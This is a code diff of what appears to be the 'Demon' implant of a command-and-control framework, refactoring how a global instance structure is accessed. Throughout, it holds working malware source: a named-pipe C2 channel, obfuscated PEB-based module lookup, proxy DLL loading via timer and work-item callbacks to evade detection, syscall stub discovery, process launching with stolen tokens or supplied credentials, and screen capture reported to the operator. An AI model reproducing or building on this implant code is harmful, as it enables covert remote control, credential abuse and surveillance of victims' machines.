PRINTF( "The message doesn't have the correct DemonId: %x\n", DemonId )
Resp->Buffer = NULL;
Resp->Length = 0;
Instance.Session.Connected = FALSE;
Instance->Session.Connected = FALSE;
return FALSE;
}
if ( ! Instance.Win32.ReadFile( Instance.Config.Transport.Handle, &PackageSize, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA )
if ( ! Instance->Win32.ReadFile( Instance->Config.Transport.Handle, &PackageSize, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA )
{
PRINTF( "Failed to read the PackageSize from pipe, error: %d\n", NtGetLastError() )
Resp->Buffer = NULL;
Resp->Length = 0;
Instance.Session.Connected = FALSE;
Instance->Session.Connected = FALSE;
return FALSE;
}
Resp->Buffer = Instance.Win32.LocalAlloc( LPTR, PackageSize );
Resp->Buffer = Instance->Win32.LocalAlloc( LPTR, PackageSize );
Resp->Length = PackageSize;
if ( ! PipeRead( Instance.Config.Transport.Handle, Resp ) )
if ( ! PipeRead( Instance->Config.Transport.Handle, Resp ) )
{
PRINTF( "PipeRead failed with to read 0x%x bytes from pipe\n", Resp->Length )
if ( Resp->Buffer )
{
Instance.Win32.LocalFree( Resp->Buffer );
Instance->Win32.LocalFree( Resp->Buffer );
Resp->Buffer = NULL;
}
Resp->Length = 0;
Instance.Session.Connected = FALSE;
Instance->Session.Connected = FALSE;
return FALSE;
}
//PRINTF("successfully read 0x%x bytes from pipe\n", PackageSize)
@@ -130,7 +130,7 @@ BOOL SmbRecv( PBUFFER Resp )
{
/* We disconnected */
PRINTF( "PeekNamedPipe failed with %d\n", NtGetLastError() )
Instance.Session.Connected = FALSE;
Instance->Session.Connected = FALSE;
return FALSE;
}
@@ -150,7 +150,7 @@ VOID SmbSecurityAttrOpen( PSMB_PIPE_SEC_ATTR SmbSecAttr, PSECURITY_ATTRIBUTES Se
MemSet( SmbSecAttr, 0, sizeof( SMB_PIPE_SEC_ATTR ) );
MemSet( SecurityAttr, 0, sizeof( PSECURITY_ATTRIBUTES ) );
if ( ! Instance.Win32.AllocateAndInitializeSid( &SidIdAuth, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->Sid ) )
if ( ! Instance->Win32.AllocateAndInitializeSid( &SidIdAuth, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->Sid ) )
{
PRINTF( "AllocateAndInitializeSid failed: %u\n", NtGetLastError() );
return;
@@ -164,43 +164,43 @@ VOID SmbSecurityAttrOpen( PSMB_PIPE_SEC_ATTR SmbSecAttr, PSECURITY_ATTRIBUTES Se
ExplicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
ExplicitAccess.Trustee.ptstrName = SmbSecAttr->Sid;
Result = Instance.Win32.SetEntriesInAclW( 1, &ExplicitAccess, NULL, &DAcl );
Result = Instance->Win32.SetEntriesInAclW( 1, &ExplicitAccess, NULL, &DAcl );
if ( Result != ERROR_SUCCESS )
{
PRINTF( "SetEntriesInAclW failed: %u\n", Result );
}
PRINTF( "DACL: %p\n", DAcl );
if ( ! Instance.Win32.AllocateAndInitializeSid( &SidLabel, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->SidLow ) )
if ( ! Instance->Win32.AllocateAndInitializeSid( &SidLabel, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->SidLow ) )
{
PRINTF( "AllocateAndInitializeSid failed: %u\n", NtGetLastError() );
}
PRINTF( "sidLow: %p\n", SmbSecAttr->SidLow );
SmbSecAttr->SAcl = NtHeapAlloc( MAX_PATH );
if ( ! Instance.Win32.InitializeAcl( SmbSecAttr->SAcl, MAX_PATH, ACL_REVISION_DS ) )
SmbSecAttr->SAcl = MmHeapAlloc( MAX_PATH );
if ( ! Instance->Win32.InitializeAcl( SmbSecAttr->SAcl, MAX_PATH, ACL_REVISION_DS ) )
{
PRINTF( "InitializeAcl failed: %u\n", NtGetLastError() );
}
if ( ! Instance.Win32.AddMandatoryAce( SmbSecAttr->SAcl, ACL_REVISION_DS, NO_PROPAGATE_INHERIT_ACE, 0, SmbSecAttr->SidLow ) )
if ( ! Instance->Win32.AddMandatoryAce( SmbSecAttr->SAcl, ACL_REVISION_DS, NO_PROPAGATE_INHERIT_ACE, 0, SmbSecAttr->SidLow ) )
{
PRINTF( "AddMandatoryAce failed: %u\n", NtGetLastError() );
}
// now build the descriptor
SmbSecAttr->SecDec = NtHeapAlloc( SECURITY_DESCRIPTOR_MIN_LENGTH );
if ( ! Instance.Win32.InitializeSecurityDescriptor( SmbSecAttr->SecDec, SECURITY_DESCRIPTOR_REVISION ) )
SmbSecAttr->SecDec = MmHeapAlloc( SECURITY_DESCRIPTOR_MIN_LENGTH );
if ( ! Instance->Win32.InitializeSecurityDescriptor( SmbSecAttr->SecDec, SECURITY_DESCRIPTOR_REVISION ) )
{
PRINTF( "InitializeSecurityDescriptor failed: %u\n", NtGetLastError() );
}
if ( ! Instance.Win32.SetSecurityDescriptorDacl( SmbSecAttr->SecDec, TRUE, DAcl, FALSE ) )
if ( ! Instance->Win32.SetSecurityDescriptorDacl( SmbSecAttr->SecDec, TRUE, DAcl, FALSE ) )
{
PRINTF( "SetSecurityDescriptorDacl failed: %u\n", NtGetLastError() );
}
if ( ! Instance.Win32.SetSecurityDescriptorSacl( SmbSecAttr->SecDec, TRUE, SmbSecAttr->SAcl, FALSE ) )
if ( ! Instance->Win32.SetSecurityDescriptorSacl( SmbSecAttr->SecDec, TRUE, SmbSecAttr->SAcl, FALSE ) )
{
PRINTF( "SetSecurityDescriptorSacl failed: %u\n", NtGetLastError() );
}
@@ -214,25 +214,25 @@ VOID SmbSecurityAttrFree( PSMB_PIPE_SEC_ATTR SmbSecAttr )
{
if ( SmbSecAttr->Sid )
{
Instance.Win32.FreeSid( SmbSecAttr->Sid );
Instance->Win32.FreeSid( SmbSecAttr->Sid );
SmbSecAttr->Sid = NULL;
}
if ( SmbSecAttr->SidLow )
{
Instance.Win32.FreeSid( SmbSecAttr->SidLow );
Instance->Win32.FreeSid( SmbSecAttr->SidLow );
SmbSecAttr->SidLow = NULL;
}
if ( SmbSecAttr->SAcl )
{
NtHeapFree( SmbSecAttr->SAcl );
MmHeapFree( SmbSecAttr->SAcl );
SmbSecAttr->SAcl = NULL;
}
if ( SmbSecAttr->SecDec )
{
NtHeapFree( SmbSecAttr->SecDec );
MmHeapFree( SmbSecAttr->SecDec );
SmbSecAttr->SecDec = NULL;
}
}
@@ -1,11 +1,11 @@
#include <Demon.h>
#include <Core/Win32.h>
#include <Core/MiniStd.h>
#include <Core/Package.h>
#include <Core/Syscalls.h>
#include <Common/Macros.h>
#include <Common/Native.h>
#include <core/Win32.h>
#include <core/MiniStd.h>
#include <core/Package.h>
#include <core/Syscalls.h>
#include <common/Macros.h>
#include <common/Native.h>
/*!
* Extended String Hasher
@@ -71,11 +71,11 @@ PVOID LdrModulePeb(
PPEB Peb = NULL;
/* Get pointer to list */
if ( ! Instance.Teb ) {
Instance.Teb = NtCurrentTeb();
if ( ! Instance->Teb ) {
Instance->Teb = NtCurrentTeb();
}
Peb = Instance.Teb->ProcessEnvironmentBlock;
Peb = Instance->Teb->ProcessEnvironmentBlock;
Hdr = & Peb->Ldr->InLoadOrderModuleList;
Ent = Hdr->Flink;
@@ -107,13 +107,13 @@ PVOID LdrModulePebByString(
ULONG Idx = 0;
/* Get pointer to list */
if ( ! Instance.Teb ) {
Instance.Teb = NtCurrentTeb();
if ( ! Instance->Teb ) {
Instance->Teb = NtCurrentTeb();
}
Name = NtHeapAlloc( MAX_PATH );
Name = MmHeapAlloc( MAX_PATH );
Peb = Instance.Teb->ProcessEnvironmentBlock;
Peb = Instance->Teb->ProcessEnvironmentBlock;
Hdr = & Peb->Ldr->InLoadOrderModuleList;
Ent = Hdr->Flink;
@@ -149,7 +149,7 @@ PVOID LdrModulePebByString(
if ( Name ) {
MemZero( Name, MAX_PATH );
NtHeapFree( Name );
MmHeapFree( Name );
Name = NULL;
}
@@ -176,8 +176,8 @@ PVOID LdrModuleSearch(
Dll[ 2 ] = HideChar( 'L' );
Dll[ 0 ] = HideChar( '.' );
Entry = Instance.Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink;
FirstEntry = &Instance.Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink;
Entry = Instance->Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink;
FirstEntry = &Instance->Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink;
StringCopyW( Name, ModuleName );
@@ -244,10 +244,10 @@ PVOID LdrModuleLoad(
}
/* if proxy module loading is enabled */
if ( Instance.Config.Implant.ProxyLoading )
if ( Instance->Config.Implant.ProxyLoading )
{
/* load library using RtlRegisterWait + LoadLibraryW */
if ( ( Instance.Config.Implant.ProxyLoading == PROXYLOAD_RTLREGISTERWAIT ) && Instance.Win32.RtlRegisterWait )
if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLREGISTERWAIT ) && Instance->Win32.RtlRegisterWait )
{
PUTS( "Loading module using RtlRegisterWait" )
@@ -257,36 +257,36 @@ PVOID LdrModuleLoad(
}
/* call LoadLibraryW */
if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlRegisterWait( &Timer, Event, C_PTR( Instance.Win32.LoadLibraryW ), NameW, 0, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) {
if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlRegisterWait( &Timer, Event, C_PTR( Instance->Win32.LoadLibraryW ), NameW, 0, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) {
PRINTF( "RtlRegisterWait: %p\n", NtStatus )
goto DEFAULT;
}
}
/* load library using RtlCreateTimer + LoadLibraryW */
else if ( ( Instance.Config.Implant.ProxyLoading == PROXYLOAD_RTLCREATETIMER ) && Instance.Win32.RtlCreateTimer )
else if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLCREATETIMER ) && Instance->Win32.RtlCreateTimer )
{
PUTS( "Loading module using RtlCreateTimer" )
/* create timer queue */
if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlCreateTimerQueue( &Queue ) ) ) {
if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimerQueue( &Queue ) ) ) {
PRINTF( "RtlCreateTimerQueue Failed => %p\n", NtStatus )
goto DEFAULT;
}
/* call LoadLibraryW */
if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance.Win32.LoadLibraryW ), NameW, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) ) {
if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.LoadLibraryW ), NameW, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) ) {
PRINTF( "RtlCreateTimer: %p\n", NtStatus )
goto DEFAULT;
}
}
/* load library using RtlQueueWorkItem + LoadLibraryW */
else if ( ( Instance.Config.Implant.ProxyLoading == PROXYLOAD_RTLQUEUEWORKITEM ) && Instance.Win32.RtlQueueWorkItem )
else if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLQUEUEWORKITEM ) && Instance->Win32.RtlQueueWorkItem )
{
PUTS( "Loading module using RtlQueueWorkItem" )
/* call LoadLibraryW and load specified module */
if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlQueueWorkItem( C_PTR( Instance.Win32.LoadLibraryW ), NameW, WT_EXECUTEDEFAULT ) ) ) {
if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlQueueWorkItem( C_PTR( Instance->Win32.LoadLibraryW ), NameW, WT_EXECUTEDEFAULT ) ) ) {
PRINTF( "RtlQueueWorkItem Failed: %p\n", NtStatus )
/* if we failed to load the module via RtlQueueWorkItem + LoadLibraryW then
@@ -330,7 +330,7 @@ PVOID LdrModuleLoad(
{
DEFAULT:
/* load library using LdrLoadDll */
if ( Instance.Win32.LdrLoadDll )
if ( Instance->Win32.LdrLoadDll )
{
PUTS( "Loading module using LdrLoadDll" )
@@ -339,7 +339,7 @@ PVOID LdrModuleLoad(
UnicodeString.Length = DestSize;
UnicodeString.MaximumLength = DestSize + sizeof( WCHAR );
if ( ! NT_SUCCESS( NtStatus = Instance.Win32.LdrLoadDll( NULL, 0, &UnicodeString, &Module ) ) ) {
if ( ! NT_SUCCESS( NtStatus = Instance->Win32.LdrLoadDll( NULL, 0, &UnicodeString, &Module ) ) ) {
PRINTF( "LdrLoadDll Failed: %p\n", NtStatus )
NtSetLastError( NtStatus );
}
@@ -361,7 +361,7 @@ END:
/* close queue */
if ( Queue ) {
Instance.Win32.RtlDeleteTimerQueue( Queue );
Instance->Win32.RtlDeleteTimerQueue( Queue );
Queue = NULL;
}
@@ -414,8 +414,8 @@ PVOID LdrFunctionAddr(
AnsiString.MaximumLength = AnsiString.Length + sizeof( CHAR );
AnsiString.Buffer = FunctionName;
if ( Instance.Win32.LdrGetProcedureAddress ) {
if ( ! NT_SUCCESS( Instance.Win32.LdrGetProcedureAddress( Module, &AnsiString, 0, &FunctionAddr ) ) ) {
if ( Instance->Win32.LdrGetProcedureAddress ) {
if ( ! NT_SUCCESS( Instance->Win32.LdrGetProcedureAddress( Module, &AnsiString, 0, &FunctionAddr ) ) ) {
return NULL;
}
} else {
@@ -440,7 +440,7 @@ PVOID LdrFunctionAddr(
UINT32 GetSyscallSize(
VOID
) {
PVOID Module = Instance.Modules.Ntdll;
PVOID Module = Instance->Modules.Ntdll;
PIMAGE_NT_HEADERS NtHeader = { 0 };
PIMAGE_EXPORT_DIRECTORY ExpDirectory = { 0 };
SIZE_T ExpDirectorySize = { 0 };
@@ -458,8 +458,8 @@ UINT32 GetSyscallSize(
if ( ! Module )
return 0;
if ( Instance.Syscall.Size )
return Instance.Syscall.Size;
if ( Instance->Syscall.Size )
return Instance->Syscall.Size;
NtHeader = C_PTR( Module + ( ( PIMAGE_DOS_HEADER ) Module )->e_lfanew );
ExpDirectory = C_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress );
@@ -501,9 +501,9 @@ UINT32 GetSyscallSize(
}
// by now, we should have the size of a syscall stub
Instance.Syscall.Size = SyscallSize;
Instance->Syscall.Size = SyscallSize;
return Instance.Syscall.Size;
return Instance->Syscall.Size;
}
/*!
@@ -529,7 +529,7 @@ HANDLE ProcessOpen(
/* open process handle */
if ( ! NT_SUCCESS( NtStatus = SysNtOpenProcess( &Process, Access, &ObjAttr, &Client ) ) ) {
PRINTF( "NtOpenProcess Failed => %lx\n", NtStatus )
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
return NULL;
}
@@ -551,7 +551,7 @@ BOOL ProcessIsWow(
return FALSE;
}
if ( Instance.Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) {
if ( Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) {
return FALSE;
}
@@ -604,7 +604,7 @@ BOOL ProcessCreate(
if ( Piped )
{
PUTS( "Piped enabled" )
AnonPipe = Instance.Win32.LocalAlloc( LPTR, sizeof( ANONPIPE ) );
AnonPipe = Instance->Win32.LocalAlloc( LPTR, sizeof( ANONPIPE ) );
MemSet( AnonPipe, 0, sizeof( ANONPIPE ) );
AnonPipesInit( AnonPipe );
@@ -621,10 +621,10 @@ BOOL ProcessCreate(
}
#if _M_IX86
if ( ! x86 && Instance.Win32.Wow64DisableWow64FsRedirection )
if ( ! x86 && Instance->Win32.Wow64DisableWow64FsRedirection )
{
PUTS( "Enable Wow64 process support" )
if ( ! Instance.Win32.Wow64DisableWow64FsRedirection( &Wow64Value ) )
if ( ! Instance->Win32.Wow64DisableWow64FsRedirection( &Wow64Value ) )
{
PRINTF( "Failed to disable wow64 redirection: %d : %x\n", NtGetLastError(), Wow64Value )
PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );
@@ -636,14 +636,14 @@ BOOL ProcessCreate(
}
#endif
if ( Instance.Tokens.Impersonate )
if ( Instance->Tokens.Impersonate )
{
PUTS( "Impersonate" )
LPWSTR lpCurrentDirectory = NULL;
WCHAR Path[ MAX_PATH * 2 ] = { 0 };
if ( Instance.Win32.GetCurrentDirectoryW( MAX_PATH * 2, Path ) ) {
if ( Instance->Win32.GetCurrentDirectoryW( MAX_PATH * 2, Path ) ) {
lpCurrentDirectory = Path;
}
@@ -654,12 +654,12 @@ BOOL ProcessCreate(
PRINTF( "CmdLine : %ls\n", CmdLine )
PRINTF( "lpCurrentDirectory: %ls\n", lpCurrentDirectory )
if ( Instance.Tokens.Token->Type == TOKEN_TYPE_STOLEN )
if ( Instance->Tokens.Token->Type == TOKEN_TYPE_STOLEN )
{
// Duplicate to make primary token (try delegation first)
if ( ! SysDuplicateTokenEx( Instance.Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &PrimaryToken ) )
if ( ! SysDuplicateTokenEx( Instance->Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &PrimaryToken ) )
{
if ( ! SysDuplicateTokenEx( Instance.Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &PrimaryToken ) )
if ( ! SysDuplicateTokenEx( Instance->Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &PrimaryToken ) )
{
PRINTF( "Failed to duplicate token [%d]\n", NtGetLastError() );
PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );
@@ -669,7 +669,7 @@ BOOL ProcessCreate(
}
PUTS( "CreateProcessWithTokenW" )
if ( ! Instance.Win32.CreateProcessWithTokenW(
if ( ! Instance->Win32.CreateProcessWithTokenW(
PrimaryToken,
LOGON_NETCREDENTIALS_ONLY,
App,
@@ -688,14 +688,14 @@ BOOL ProcessCreate(
goto Cleanup;
}
}
else if ( Instance.Tokens.Token->Type == TOKEN_TYPE_MAKE_NETWORK )
else if ( Instance->Tokens.Token->Type == TOKEN_TYPE_MAKE_NETWORK )
{
PUTS( "CreateProcessWithLogonW" )
PRINTF( "lpUser[%s] lpDomain[%s] lpPassword[%s]", Instance.Tokens.Token->lpUser, Instance.Tokens.Token->lpDomain, Instance.Tokens.Token->lpPassword )
if ( ! Instance.Win32.CreateProcessWithLogonW(
Instance.Tokens.Token->lpUser,
Instance.Tokens.Token->lpDomain,
Instance.Tokens.Token->lpPassword,
PRINTF( "lpUser[%s] lpDomain[%s] lpPassword[%s]", Instance->Tokens.Token->lpUser, Instance->Tokens.Token->lpDomain, Instance->Tokens.Token->lpPassword )
if ( ! Instance->Win32.CreateProcessWithLogonW(
Instance->Tokens.Token->lpUser,
Instance->Tokens.Token->lpDomain,
Instance->Tokens.Token->lpPassword,
LOGON_NETCREDENTIALS_ONLY,
App,
CmdLine,
@@ -714,7 +714,7 @@ BOOL ProcessCreate(
}
else
{
if ( ! Instance.Win32.CreateProcessW(
if ( ! Instance->Win32.CreateProcessW(
App,
CmdLine,
NULL,
@@ -734,7 +734,7 @@ BOOL ProcessCreate(
}
/* Check if we managed to spawn a process */
if ( ProcessInfo->hProcess && Instance.Config.Implant.Verbose )
if ( ProcessInfo->hProcess && Instance->Config.Implant.Verbose )
{
PUTS( "Send info back" )
if ( ! CmdLine )
@@ -747,7 +747,7 @@ BOOL ProcessCreate(
{
INT32 i = 0;
INT32 x = ( INT32 ) StringLengthW( CmdLine );
PWCHAR s = Instance.Win32.LocalAlloc( LPTR, x * sizeof( WCHAR ) );
PWCHAR s = Instance->Win32.LocalAlloc( LPTR, x * sizeof( WCHAR ) );
MemCopy( s, CmdLine, x );
@@ -770,12 +770,12 @@ BOOL ProcessCreate(
Cleanup:
#if _M_IX86
if ( DisabledWow64Redir ) {
Instance.Win32.Wow64RevertWow64FsRedirection( Wow64Value );
Instance->Win32.Wow64RevertWow64FsRedirection( Wow64Value );
}
#endif
if ( Return && Piped ) {
JobAdd( Instance.CurrentRequestID, ProcessInfo->dwProcessId, JOB_TYPE_TRACK_PROCESS, JOB_STATE_RUNNING, ProcessInfo->hProcess, AnonPipe );
JobAdd( Instance->CurrentRequestID, ProcessInfo->dwProcessId, JOB_TYPE_TRACK_PROCESS, JOB_STATE_RUNNING, ProcessInfo->hProcess, AnonPipe );
}
else if ( ! Return && Piped )
{
@@ -865,7 +865,7 @@ NTSTATUS ProcessSnapShot(
Length += 0x1000;
/* allocate memory */
*SnapShot = NtHeapAlloc( Length );
*SnapShot = MmHeapAlloc( Length );
if ( *SnapShot ) {
if ( ! NT_SUCCESS( NtStatus = SysNtQuerySystemInformation( SystemProcessInformation, *SnapShot, Length, &Length ) ) ) {
PRINTF( "NtQuerySystemInformation Failed: Status[%lx]\n", NtStatus )
@@ -892,17 +892,17 @@ BOOL ReadLocalFile(
DWORD Read = 0;
HANDLE hFile = NULL;
hFile = Instance.Win32.CreateFileW( FileName, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );
hFile = Instance->Win32.CreateFileW( FileName, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );
if ( ( ! hFile ) || ( hFile == INVALID_HANDLE_VALUE ) ) {
PUTS( "CreateFileW: Failed" )
PACKAGE_ERROR_WIN32
goto Cleanup;
}
*FileSize = Instance.Win32.GetFileSize( hFile, 0 );
*FileContent = Instance.Win32.LocalAlloc( LPTR, *FileSize );
*FileSize = Instance->Win32.GetFileSize( hFile, 0 );
*FileContent = Instance->Win32.LocalAlloc( LPTR, *FileSize );
if ( ! Instance.Win32.ReadFile( hFile, *FileContent, *FileSize, &Read, NULL ) ) {
if ( ! Instance->Win32.ReadFile( hFile, *FileContent, *FileSize, &Read, NULL ) ) {
PUTS( "ReadFile: Failed" )
PACKAGE_ERROR_WIN32
goto Cleanup;
@@ -917,7 +917,7 @@ BOOL ReadLocalFile(
}
if ( ! Success && *FileContent ) {
Instance.Win32.LocalFree( *FileContent );
Instance->Win32.LocalFree( *FileContent );
*FileContent = NULL;
*FileSize = 0;
}
@@ -983,7 +983,7 @@ BOOL AnonPipesInit(
) {
SECURITY_ATTRIBUTES SecurityAttr = { sizeof( SECURITY_ATTRIBUTES ), NULL, TRUE };
if ( ! Instance.Win32.CreatePipe( &AnonPipes->StdOutRead, &AnonPipes->StdOutWrite, &SecurityAttr, 0 ) ) {
if ( ! Instance->Win32.CreatePipe( &AnonPipes->StdOutRead, &AnonPipes->StdOutWrite, &SecurityAttr, 0 ) ) {
PACKAGE_ERROR_WIN32
return FALSE;
}
@@ -1016,10 +1016,10 @@ VOID AnonPipesRead(
AnonPipes->StdOutWrite = NULL;
}
Buffer = Instance.Win32.LocalAlloc( LPTR, 0 );
Buffer = Instance->Win32.LocalAlloc( LPTR, 0 );
do {
Success = Instance.Win32.ReadFile( AnonPipes->StdOutRead, buf, 1024, &dwRead, NULL );
Success = Instance->Win32.ReadFile( AnonPipes->StdOutRead, buf, 1024, &dwRead, NULL );
PRINTF( "dwRead => %d\n", dwRead )
if ( dwRead == 0 ) {
@@ -1028,7 +1028,7 @@ VOID AnonPipesRead(
dwBufferSize += dwRead;
Buffer = Instance.Win32.LocalReAlloc( Buffer, dwBufferSize, LMEM_MOVEABLE );
Buffer = Instance->Win32.LocalReAlloc( Buffer, dwBufferSize, LMEM_MOVEABLE );
MemCopy( Buffer + ( dwBufferSize - dwRead ), buf, dwRead );
MemSet( buf, 0, dwRead );
@@ -1069,27 +1069,27 @@ BOOL WinScreenshot(
DWORD BitMapSize = 0;
// NOTE: if GetSystemMetrics fails, screenshot works anyways
INT x = Instance.Win32.GetSystemMetrics( SM_XVIRTUALSCREEN );
INT y = Instance.Win32.GetSystemMetrics( SM_YVIRTUALSCREEN );
INT x = Instance->Win32.GetSystemMetrics( SM_XVIRTUALSCREEN );
INT y = Instance->Win32.GetSystemMetrics( SM_YVIRTUALSCREEN );
MemSet( &BitFileHdr, 0, sizeof( BITMAPFILEHEADER ) );
MemSet( &BitInfoHdr, 0, sizeof( BITMAPINFOHEADER ) );
MemSet( &BitMapInfo, 0, sizeof( BITMAPINFO ) );
MemSet( &AllDesktops,0, sizeof( BITMAP ) );
hDC = Instance.Win32.GetDC( NULL );
hDC = Instance->Win32.GetDC( NULL );
if ( ! hDC ) {
PUTS( "GetDC failed" )
goto Cleanup;
}
hTempMap = Instance.Win32.GetCurrentObject( hDC, OBJ_BITMAP );
hTempMap = Instance->Win32.GetCurrentObject( hDC, OBJ_BITMAP );
if ( ! hTempMap ) {
PUTS( "GetCurrentObject failed" )
goto Cleanup;
}
if ( ! Instance.Win32.GetObjectW( hTempMap, sizeof( BITMAP ), &AllDesktops ) ) {
if ( ! Instance->Win32.GetObjectW( hTempMap, sizeof( BITMAP ), &AllDesktops ) ) {
PUTS( "GetObjectW failed" )
goto Cleanup;
}
@@ -1108,27 +1108,27 @@ BOOL WinScreenshot(
cbBits = ( ( ( 24 * AllDesktops.bmWidth + 31 ) &~31 ) / 8 ) * AllDesktops.bmHeight;
BitMapSize = cbBits + ( sizeof( BITMAPFILEHEADER ) + sizeof( BITMAPINFOHEADER ) );
BitMapImage = Instance.Win32.LocalAlloc( LPTR, BitMapSize );
BitMapImage = Instance->Win32.LocalAlloc( LPTR, BitMapSize );
hMemDC = Instance.Win32.CreateCompatibleDC( hDC );
hMemDC = Instance->Win32.CreateCompatibleDC( hDC );
if ( ! hMemDC ) {
PUTS( "CreateCompatibleDC failed" )
goto Cleanup;
}
hBitmap = Instance.Win32.CreateDIBSection( hDC, &BitMapInfo, DIB_RGB_COLORS, ( VOID** ) &bBits, NULL, 0 );
hBitmap = Instance->Win32.CreateDIBSection( hDC, &BitMapInfo, DIB_RGB_COLORS, ( VOID** ) &bBits, NULL, 0 );
if ( ! hBitmap ) {
PUTS( "CreateDIBSection failed" )
goto Cleanup;
}
ObjPtr = Instance.Win32.SelectObject( hMemDC, hBitmap );
ObjPtr = Instance->Win32.SelectObject( hMemDC, hBitmap );
if ( ! ObjPtr || ObjPtr == HGDI_ERROR ) {
PUTS( "SelectObject failed" )
goto Cleanup;
}
if ( ! Instance.Win32.BitBlt( hMemDC, 0, 0, AllDesktops.bmWidth, AllDesktops.bmHeight, hDC, x, y, SRCCOPY ) ) {
if ( ! Instance->Win32.BitBlt( hMemDC, 0, 0, AllDesktops.bmWidth, AllDesktops.bmHeight, hDC, x, y, SRCCOPY ) ) {
PUTS( "BitBlt failed" )
goto Cleanup;
}
@@ -1148,19 +1148,19 @@ Cleanup:
*ImageSize = BitMapSize;
if ( hTempMap ) {
Instance.Win32.DeleteObject( hTempMap );
Instance->Win32.DeleteObject( hTempMap );
}
if ( hMemDC ) {
Instance.Win32.DeleteDC( hMemDC );
Instance->Win32.DeleteDC( hMemDC );
}
if ( hDC ) {
Instance.Win32.ReleaseDC( NULL, hDC );
Instance->Win32.ReleaseDC( NULL, hDC );
}
if ( hBitmap ) {
Instance.Win32.DeleteObject( hBitmap );
Instance->Win32.DeleteObject( hBitmap );
}
return ReturnValue;
@@ -1180,7 +1180,7 @@ BOOL PipeRead(
DWORD Total = 0;
do {
if ( ! Instance.Win32.ReadFile( Handle, C_PTR( U_PTR( Buffer->Buffer ) + Total ), MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Read, NULL ) ) {
if ( ! Instance->Win32.ReadFile( Handle, C_PTR( U_PTR( Buffer->Buffer ) + Total ), MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Read, NULL ) ) {
if ( NtGetLastError() != ERROR_MORE_DATA ) {
PRINTF( "ReadFile failed with %d\n", NtGetLastError() )
return FALSE;
@@ -1207,7 +1207,7 @@ BOOL PipeWrite(
DWORD Total = 0;
do {
if ( ! Instance.Win32.WriteFile( Handle, Buffer->Buffer + Total, MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Written , NULL ) ) {
if ( ! Instance->Win32.WriteFile( Handle, Buffer->Buffer + Total, MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Written , NULL ) ) {
return FALSE;
}
@@ -1293,7 +1293,7 @@ VOID CfgAddressAdd(
BOOL EventSet(
IN HANDLE Event
) {
return NT_SUCCESS( Instance.Win32.NtSetEvent( Event, NULL ) );
return NT_SUCCESS( Instance->Win32.NtSetEvent( Event, NULL ) );
}
@@ -1307,8 +1307,8 @@ ULONG RandomNumber32(
ULONG Seed = 0;
Seed = NtGetTickCount();
Seed = Instance.Win32.RtlRandomEx( &Seed );
Seed = Instance.Win32.RtlRandomEx( &Seed );
Seed = Instance->Win32.RtlRandomEx( &Seed );
Seed = Instance->Win32.RtlRandomEx( &Seed );
Seed = ( Seed % ( LONG_MAX - 2 + 1 ) ) + 2;
return Seed % 2 == 0 ? Seed : Seed + 1;
@@ -1324,7 +1324,7 @@ BOOL RandomBool(
ULONG Seed = 0;
Seed = NtGetTickCount();
Seed = Instance.Win32.RtlRandomEx( &Seed );
Seed = Instance->Win32.RtlRandomEx( &Seed );
return Seed % 2 == 0 ? TRUE : FALSE;
}
@@ -1377,7 +1377,7 @@ VOID SharedSleep(
}
VOID ShuffleArray(
IN OUT PVOID* array,
_Inout_ PVOID* array,
IN SIZE_T n
) {
SIZE_T j = 0;
@@ -1406,7 +1406,7 @@ VOID DemonPrintf( PCHAR fmt, ... )
